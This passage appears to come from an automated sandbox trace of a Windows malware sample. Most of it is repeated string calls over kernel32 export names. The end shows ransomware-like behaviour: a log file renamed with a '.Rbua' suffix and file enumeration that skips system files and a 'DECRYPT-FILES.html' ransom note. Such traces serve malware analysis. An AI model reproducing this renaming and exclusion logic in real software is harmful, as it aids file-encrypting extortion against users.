lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.002] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.002] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.002] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.002] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.002] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.002] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.003] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.003] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.003] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.003] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.003] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.004] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.004] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.004] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.004] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.004] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.004] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.004] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.004] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.004] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.004] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.004] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.004] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.004] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.004] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.004] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.005] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.005] lstrlenA (lpString="COPYFILE2") returned 9 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.005] lstrlenA (lpString="COPYFILEA") returned 9 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.005] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.005] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.005] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.005] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.006] lstrlenA (lpString="COPYFILEW") returned 9 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.006] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.006] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.006] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.006] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.006] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.006] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.006] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.006] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.006] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.006] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.006] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.006] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.006] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.006] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.007] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.007] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.007] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.007] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.007] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.007] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.007] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.007] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.007] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.007] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.007] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.007] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.007] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.007] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.008] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.008] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.008] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.008] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.008] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.008] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.008] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.008] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.008] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.008] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.008] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.008] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.008] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.008] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.009] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.009] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.009] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.009] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.009] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.009] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.009] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.009] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.009] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.009] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.009] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.009] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.009] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.009] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.009] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.009] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.010] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.010] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.010] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.010] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.010] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.010] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.010] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.010] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.010] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.010] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.010] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.010] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.010] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.010] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.010] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.010] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.011] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.011] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.011] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.011] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.011] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.011] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.011] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.011] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.011] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.Rbua") returned 57 [0101.011] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.Rbua" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.rbua"), dwFlags=0x0) returned 1 [0101.012] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.013] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.013] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.013] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="DECRYPT-FILES.html") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="autorun.inf") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="boot.ini") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="desktop.ini") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="ntuser.dat") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="iconcache.db") returned 1 [0101.013] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="bootsect.bak") returned 1 [0101.014] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="ntuser.dat.log") returned 1 [0101.014] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="thumbs.db") returned -1 [0101.014] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="Bootfont.bin") returned 1 [0101.014] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0101.014] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0101.014] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\Logs\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0101.014] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="PartnerSetupCompleteResult.log" | out: lpString1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" 